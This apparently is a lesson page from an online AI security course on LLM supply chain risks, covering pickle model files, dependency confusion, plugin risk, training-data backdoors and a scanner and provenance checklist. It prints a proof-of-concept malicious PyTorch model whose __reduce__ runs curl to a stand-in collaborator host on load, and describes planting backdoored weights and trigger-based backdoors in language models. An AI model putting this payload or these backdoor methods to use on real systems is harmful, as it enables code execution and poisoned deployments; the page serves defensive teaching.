How to Assess LLM Supply Chain Security in 2026 — Complete Attack Guide | AI LLM Hacking Course Day 26

How to Assess LLM Supply Chain Security in 2026 — Complete Attack Guide | AI LLM Hacking Course Day 26
🤖 AI/LLM HACKING COURSE
FREE

Part of the AI/LLM Hacking Course — 90 Days

Day 26 of 90 · 28.9% complete

A fintech client asked me to review the AI deployment they’d built for internal financial analysis. Six weeks of engineering effort. Impressive system — a fine-tuned model, a RAG pipeline connected to their internal document store, three integrated tools. My first question was where the base model came from. “Hugging Face,” the lead engineer said. “It’s a well-known architecture.” I asked which specific repository. He looked it up. The model had 200 downloads, was published four months ago by an account with no other activity, and the model card described capabilities that didn’t match the architecture claimed. The file was a PyTorch pickle. Nobody had scanned it. Nobody had checked the publisher’s history. They’d reviewed the model’s output quality extensively. Nobody had reviewed whether the model file itself was safe to load on their infrastructure.

That’s the supply chain problem in miniature. The security focus in AI deployments runs almost entirely toward inference-time attacks — prompt injection, jailbreaking, extraction. The model file itself sits in a blind spot. It’s treated as a dependency, and dependencies get trusted. But a model file loaded from an unverified source is an executable artefact that runs with the permissions of whatever process loads it. Supply chain attacks on AI happen before the first user query. They travel with the model through staging, through testing, into production. Day 26 covers the complete LLM supply chain attack surface — model files, training data, dependencies, and the plugin ecosystem that connects AI to everything else.

🎯 What You’ll Master in Day 26

Understand why model files are executable artefacts, not just data files
Scan model files for embedded payloads using ModelScan
Audit AI package dependency trees for known vulnerabilities and suspicious packages
Assess the plugin and tool ecosystem as a supply chain attack surface
Probe models for training data backdoors using trigger pattern libraries
Build a model provenance verification checklist for deployment pipelines

⏱️ Day 26 · 3 exercises · Think Like Hacker + Kali Terminal + Browser

✅ Prerequisites

  • Day 7 — LLM03 Supply Chain Vulnerabilities

    — the OWASP overview from Day 7 is the conceptual foundation; Day 26 builds the full assessment methodology on top of it

  • Day 2 — How LLMs Work

    — understanding model architecture and weights is prerequisite to understanding where supply chain attacks embed

  • Python with pip-audit and modelscanner installed — Exercise 2 uses both for automated supply chain scanning

In Day 25 you wrote the report for the inference-time attack phase — everything from Days 16 through 24. Day 26 opens Phase 4 with the attack surface that precedes inference entirely: the supply chain. Day 27 covers full AI red team operations — how to structure a complete AI engagement from scoping through delivery.


Why AI Supply Chain Attacks Are Different

Traditional software supply chain attacks target packages and dependencies — code that runs in your application’s process. AI supply chain attacks have an additional attack surface that has no software equivalent: the model weights themselves. Weights are the parameters the model uses for every inference. They can encode behaviour that manifests only under specific input conditions, passing all standard tests while waiting for a trigger. There’s no equivalent in traditional software — a malicious NPM package runs malicious code, but it doesn’t hide that code inside millions of floating-point values that are indistinguishable from legitimate trained parameters.

The other distinction is persistence. A malicious dependency gets patched when the vulnerability is discovered. A backdoored model’s weights persist through the entire lifecycle of that model deployment. The attack travels with every copy of the weights — every fine-tune built on them, every deployment using them, every organisation that downloaded and trusted the model. Supply chain attacks on AI propagate through the trust graph of who uses which base model, in a way that has no parallel in traditional software vulnerabilities.


Model File Attacks — Pickle Payloads and SafeTensors

The most immediately exploitable supply chain vector is the model file format. PyTorch’s default serialisation format is pickle — a Python object serialisation format that executes arbitrary Python code during deserialization. When you call torch.load(model_file), Python deserialises the file and in doing so executes any Python code the file contains. That code runs with the full permissions of the loading process before a single inference call is made.

This isn’t a novel attack. Pickle deserialization as a code execution vector has been known for years in the Python ecosystem. The AI community imported the problem wholesale when PyTorch adopted pickle as its default format. The fix exists: SafeTensors format stores only the tensor values without executable code, and Hugging Face now recommends it for model sharing. But a large proportion of models on public repositories are still distributed as pickle files, and many organisations load them without scanning.

MODEL FILE PAYLOAD — PICKLE DESERIALIZATION RCE
# Proof-of-concept: malicious model file that exfiltrates on load
# (Education only — demonstrates why pickle loading is dangerous)
import torch, pickle, os
class MaliciousPayload:
def __reduce__(self): # called during pickle deserialization
return (os.system, (“curl https://COLLABORATOR.oastify.com/model-loaded”,))
payload = {“model”: MaliciousPayload(), “weights”: torch.rand(10,10)}
torch.save(payload, “malicious_model.pt”) # looks like a normal model file
# On the victim’s system: loading this file executes os.system() call
model = torch.load(“malicious_model.pt”) # BANG — curl fires on load
# Detection: ModelScan catches embedded __reduce__ payloads
pip install modelscan
modelscan –path malicious_model.pt
→ CRITICAL: Unsafe operator found in pickle: os.system
# Safe loading alternative: use weights_only=True (PyTorch 2.0+)
model = torch.load(“model.pt”, weights_only=True)
# weights_only=True rejects any pickle that requires code execution

🧠 EXERCISE 1 — THINK LIKE A HACKER (20 MIN · NO TOOLS)
Map the Complete AI Supply Chain for a Realistic Enterprise Deployment

⏱️ 20 minutes · No tools needed

Supply chain assessment starts with mapping. You can’t assess what you haven’t enumerated. This exercise builds the complete supply chain map for a realistic enterprise AI deployment, then identifies which nodes represent the highest attack risk.

SCENARIO: An enterprise has deployed an AI-powered internal
knowledge assistant. Here’s what you know about the stack:

Base model: Llama 3.1 70B downloaded from Hugging Face
Fine-tuned on: internal documents + public datasets
Framework: LangChain 0.2.x
Vector DB: ChromaDB with custom connector
Embedding model: all-MiniLM-L6-v2 from Hugging Face
Plugins: Slack tool, Confluence tool, Jira tool
Hosting: On-premises GPU server running Python 3.11
Model update process: Monthly, downloaded by a DevOps script
Package management: pip with no lock file, latest versions

QUESTION 1 — Supply chain node enumeration.
List every distinct supply chain node in this deployment.
For each node, state: what it is, who controls it, and
whether the enterprise verifies it before trusting it.

QUESTION 2 — Attack surface ranking.
Rank your top 3 supply chain nodes by attack risk.
For each: what specific attack does an adversary execute,
what access do they need to perform it, and what is the
blast radius if they succeed?

QUESTION 3 — The pip lock file gap.
“No lock file, latest versions” means dependencies are resolved
at install time. How does an adversary exploit this pattern?
What specific attack becomes possible that a lock file prevents?

QUESTION 4 — Plugin trust model.
The Slack, Confluence, and Jira plugins connect to external services.
What supply chain attack surfaces do these plugins introduce?
If the Confluence plugin’s developer account is compromised,
what can the attacker do to affect the enterprise AI system?

QUESTION 5 — Update pipeline attack.
The monthly model update is performed by a DevOps script that
downloads the model from Hugging Face.
Write the specific steps an attacker with write access to the
Hugging Face repository would follow to replace the production
model with a backdoored version on next update.

✅ You mapped a realistic enterprise AI supply chain and identified attack paths at every node. The answers: (1) 9+ nodes: Hugging Face base model, fine-tuning dataset, LangChain framework, ChromaDB, embedding model, Slack API/plugin code, Confluence plugin, Jira plugin, Python packages including transitive deps — enterprise verifies almost none of them; (2) Highest risk: (a) Hugging Face base model — attacker controls the weights, persistence across all deployments; (b) LangChain/plugins — compromised plugin gets model context + all connected services; (c) pip without lock file — dependency confusion attack; (3) Dependency confusion: publish a malicious package with the same name as an internal package to a public registry — pip resolves the public (higher-versioned) package over the internal one; (4) Compromised plugin developer account can push a malicious plugin update that runs in the AI’s execution context with access to Confluence data and model conversation history; (5) Push backdoored weights to the HF repo → the DevOps script downloads them at next monthly cycle → model is replaced without integrity check.

📸 Share your supply chain map in #day26-supply-chain on Comments.


AI Dependency Auditing

The AI framework ecosystem has grown fast. LangChain, LlamaIndex, Transformers, ChromaDB, and their transitive dependencies form dependency trees that run to hundreds of packages, many of which were written quickly to meet the pace of AI development rather than to the security standards of mature ecosystem packages. Running pip-audit against an AI project often produces findings that a standard web application audit would not — not because AI packages are uniquely insecure, but because the transitive dependency surface is so much larger.

The dependency confusion attack is specific to organisations that run private package registries alongside public ones. If pip resolves packages by name across both private and public registries and prefers higher version numbers, an attacker who knows the name of an internal package can publish a higher-versioned malicious package with the same name to PyPI. The next time the organisation installs or updates dependencies, pip downloads the attacker’s version. The attack requires knowing internal package names — which sometimes appear in error messages, stack traces, or public repositories.

AI DEPENDENCY AUDIT COMMANDS
# Audit installed packages for known CVEs
pip install pip-audit
pip-audit –output json -o audit_results.json
# Audit a requirements.txt without installing
pip-audit -r requirements.txt –output json
# AI-specific packages to always audit explicitly
pip-audit langchain transformers llama-index chromadb openai anthropic
# Check for dependency confusion risk — packages also on public PyPI
pip index versions internal-package-name 2>/dev/null | head -5
→ If public versions exist with higher numbers than internal: confusion risk
# Freeze current dependency tree (lock file)
pip freeze > requirements-locked.txt
# Future installs use exact versions — prevents version drift attacks
# Scan model file before loading (ModelScan)
pip install modelscan
modelscan –path ./models/
→ Scans all .pt, .pkl, .bin, .h5 files for unsafe operators


Training Data Backdoors

Training data backdoors — also called trojan attacks — embed a specific trigger pattern into the model’s weights during training. The model behaves exactly as expected for all inputs that don’t contain the trigger. When an input containing the trigger arrives, the model produces attacker-specified output regardless of whatever safety training was applied after. The attack is particularly dangerous because standard safety evaluations don’t test for arbitrary trigger patterns — they test for known harmful inputs, not for unknown triggers that the attacker chose specifically to avoid detection.

Testing for backdoors without knowing the trigger is hard. The practical methodology: assemble a library of candidate triggers — common separator tokens, unusual Unicode sequences, specific punctuation patterns, rare multilingual strings — and test each against the model, looking for output distributions that deviate significantly from the model’s baseline on the same semantic content. A model that produces dramatically different outputs for semantically identical inputs where one contains a candidate trigger and one doesn’t warrants further investigation.

⚡ EXERCISE 2 — KALI TERMINAL (25 MIN)
Build a Model Supply Chain Scanner

⏱️ 25 minutes · Kali Linux · Python · pip-audit · ModelScan

This exercise builds an automated supply chain scanner that checks model files, dependency trees, and package integrity in a single pass — the tool that runs before any model goes into a test or staging environment.

Step 1: Install tools:
cd ~/ai-security-course && source venv/bin/activate
pip install modelscan pip-audit safety
nano day26_supply_chain_scanner.py

Step 2: Build the scanner:

import subprocess, json, os, hashlib
from datetime import datetime

def scan_model_files(model_dir):
“””Scan model directory with ModelScan”””
print(f”[MODEL SCAN] Scanning {model_dir}”)
result = subprocess.run(
[“modelscan”, “–path”, model_dir, “–output-format”, “json”],
capture_output=True, text=True
)
try:
findings = json.loads(result.stdout)
issues = findings.get(“issues”, [])
print(f” Found {len(issues)} issue(s)”)
for issue in issues:
print(f” [{issue.get(‘severity’,’?’)}] {issue.get(‘description’,”)}”)
return issues
except:
print(f” Raw output: {result.stdout[:200]}”)
return []

def check_file_hash(filepath, expected_sha256=None):
“””Calculate and optionally verify a model file’s SHA-256″””
sha256 = hashlib.sha256()
with open(filepath, “rb”) as f:
for chunk in iter(lambda: f.read(8192), b””):
sha256.update(chunk)
digest = sha256.hexdigest()
if expected_sha256:
match = digest == expected_sha256.lower()
print(f” Hash: {‘✓ MATCH’ if match else ‘✗ MISMATCH’} {digest[:16]}…”)
return match
print(f” SHA-256: {digest}”)
return digest

def audit_dependencies(requirements_file=”requirements.txt”):
“””Run pip-audit against requirements”””
print(f”\n[DEP AUDIT] Scanning {requirements_file}”)
result = subprocess.run(
[“pip-audit”, “-r”, requirements_file, “–output”, “json”],
capture_output=True, text=True
)
try:
data = json.loads(result.stdout)
vulns = data.get(“vulnerabilities”, [])
print(f” Found {len(vulns)} vulnerable package(s)”)
for v in vulns[:5]:
pkg = v.get(“name”,”?”)
ver = v.get(“version”,”?”)
ids = [a.get(“id”,”?”) for a in v.get(“aliases”,[])]
print(f” VULN: {pkg}=={ver} → {‘, ‘.join(ids)}”)
return vulns
except Exception as e:
print(f” Parse error: {e}\n Output: {result.stdout[:200]}”)
return []

Step 3: Create a test model file and requirements.txt:
python3 -c ”
import torch
torch.save({‘weights’: torch.rand(10,10)}, ‘/tmp/test_model.pt’)

echo ‘transformers==4.30.0
langchain==0.0.200’ > /tmp/test_requirements.txt

Step 4: Run the scanner:
# Scan model files
scan_model_files(“/tmp”)
check_file_hash(“/tmp/test_model.pt”)

# Scan dependencies
audit_dependencies(“/tmp/test_requirements.txt”)

Step 5: Extend — add publisher reputation check for HF models:
import requests
def check_hf_publisher(repo_id):
url = f”https://huggingface.co/api/models/{repo_id}”
r = requests.get(url, timeout=10)
if r.status_code == 200:
data = r.json()
downloads = data.get(“downloads”, 0)
likes = data.get(“likes”, 0)
print(f” {repo_id}: {downloads} downloads, {likes} likes”)
if downloads < 500: print(f" ⚠ LOW DOWNLOAD COUNT — verify publisher manually") else: print(f" Could not reach HF API: {r.status_code}")

✅ You built a supply chain scanner that covers three of the five key verification steps: model file integrity scanning, dependency CVE auditing, and Hugging Face publisher reputation checks. Run this against every model before it enters your test environment, not just before production. Supply chain issues caught in staging cost hours. The same issues caught after production deployment cost significantly more than that, across every organisation that downloaded the same model.

📸 Screenshot your scanner output showing model scan and dependency audit results. Share in #day26-supply-chain on Comments.


Model Provenance Verification Checklist

Every model that enters a deployment pipeline — base model, fine-tuned variant, embedding model — needs to pass a provenance check. Not a scan, not a review — a documented check against a fixed checklist that produces a verifiable record. The checklist is what allows you to answer “was this model verified before deployment?” with something more substantive than “yes, we looked at it.”

🛠️ EXERCISE 3 — BROWSER (15 MIN · AUTHORISED TARGETS)
Perform a Full Provenance Check on a Real Hugging Face Model

⏱️ 15 minutes · Browser · Hugging Face

This exercise walks through a complete provenance check against a real public model — the same check that should happen before any model enters a test environment. You’ll assess publisher history, model card completeness, file format safety, and download legitimacy signals.

Choose any model from Hugging Face that your organisation
would plausibly use (e.g. meta-llama/Llama-3.1-8B or
mistralai/Mistral-7B-v0.1). Work through the checklist:

CHECK 1 — Publisher identity.
Who published this model?
Is the publisher an organisation (verified) or an individual?
How old is the account? How many other models has it published?
Does the publisher have a track record you can verify externally?

CHECK 2 — Model card completeness.
Does the model card describe training data sources?
Does it list known limitations and biases?
Does it include evaluation results on standard benchmarks?
Is the card specific or generic? (Generic cards are a red flag)

CHECK 3 — File format.
Go to the Files and versions tab.
What format are the weight files? (.safetensors = safer, .bin/.pt = pickle risk)
Are there any .py files or custom code modules in the repo?
Custom code files run on your system when you load the model.

CHECK 4 — Download and like signals.
How many downloads in the last 30 days?
Is there a discussion tab? Are there community reports of issues?
Does the download count match the model’s claimed reputation?

CHECK 5 — Hash verification.
Download the model card’s SHA256 hash if published.
Run: sha256sum downloaded_file.safetensors
Does it match? If no hash is published: note this as a gap.

Document all five checks with pass/fail/note for each.
This is your provenance record for this model.

✅ You completed a full model provenance check — the five-point verification that every model should pass before entering any environment. The most revealing check is usually the file format: many widely-used models are still distributed as .bin or .pt pickle files. That’s not automatically a disqualifier, but it means ModelScan must run before loading. The model card completeness check is the second most revealing — a model card that describes capabilities without describing training data, evaluation methodology, or known limitations is telling you the publisher isn’t thinking about the properties that matter for your deployment.

📸 Screenshot your provenance checklist with all five checks documented. Share in #day26-supply-chain on Comments. Tag #day26complete

📋 LLM Supply Chain Security — Day 26 Reference Card

Pickle RCE vectortorch.load() on untrusted .pt/.pkl executes __reduce__ on deserialization
Safe load optiontorch.load(“model.pt”, weights_only=True) — rejects executable pickle content
Preferred format.safetensors — stores only tensor values, no executable code path
ModelScan installpip install modelscan → modelscan –path ./models/
Dependency auditpip-audit -r requirements.txt –output json
Dependency confusionAttacker publishes higher-versioned package to PyPI with same name as internal package
Fix: lock filepip freeze > requirements-locked.txt — pins all versions, prevents drift attacks
Backdoor detectionTest candidate trigger strings — look for output deviation vs semantically identical non-trigger input
HF publisher red flagsNew account · fewer than 500 downloads · no other published models · no external verification
Provenance checklistPublisher identity · model card completeness · file format · download signals · hash verification

✅ Day 26 Complete — LLM Supply Chain Security

Pickle deserialization as a model file RCE vector, ModelScan for automated detection, AI dependency auditing with pip-audit, dependency confusion attacks, plugin supply chain risk, training data backdoor methodology, and the five-point model provenance verification checklist. Day 27 covers full AI red team operations — how to structure a complete AI engagement from threat modelling through final delivery, for engagements that go well beyond individual vulnerability testing.


🧠 Day 26 Check

A developer downloads a fine-tuned model from Hugging Face. The model is in SafeTensors format and passes ModelScan. Can you conclude the model is safe to deploy?



❓ LLM Supply Chain Security FAQ

What is an LLM supply chain attack?
An LLM supply chain attack compromises the AI system at a point before production — in the base model, training data, fine-tuning dataset, AI framework dependencies, or plugin ecosystem. Unlike inference-time attacks, supply chain attacks travel with the model through every subsequent deployment step and affect all downstream users of the compromised component.
Can a Hugging Face model contain malicious code?
Yes. Models in PyTorch pickle format execute arbitrary Python code when loaded via torch.load(). A malicious model file can run any Python code the loading process has permissions for — network calls, file writes, process execution — before any inference occurs. SafeTensors format eliminates this risk for weights files, but custom code modules in the repository introduce additional vectors.
What is a training data backdoor?
A training data backdoor embeds a specific trigger pattern in training data that causes the model to produce attacker-specified outputs whenever that trigger appears in an input. The model behaves normally for all other inputs, passing standard evaluations. Detection requires testing against a library of candidate trigger patterns, looking for output distributions that deviate significantly from baseline on semantically identical inputs.
How do you verify an AI model’s integrity before deployment?
Three controls in order of increasing assurance: SHA-256 hash verification against the publisher’s documented value, ModelScan for embedded code in serialisation formats, and behavioural evaluation against a trigger test library. Hash verification confirms no transit tampering. ModelScan catches serialisation payloads. Behavioural evaluation is the only control that can detect backdoors in the weights themselves.
← Previous

Day 25 — AI Security Report Writing

Next →

Day 27 — AI Red Team Operations

📚 Further Reading

Mr Elite
Owner, SecurityElites.com
The fintech client who hadn’t checked the Hugging Face publisher wasn’t careless. They’d done more due diligence on the model’s output quality than most teams I’ve worked with. Three rounds of evaluation. Red-teaming for bias. Performance benchmarks against their specific document types. All of that is valuable work that I’m not dismissing. The gap was that none of it addressed the model file itself as an executable artefact. The mental model was “model = data = safe to load.” The correct mental model is “model = code + data = verify before loading.” That shift takes thirty seconds to explain and a ModelScan command to act on. The fintech client made both changes in the same afternoon.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *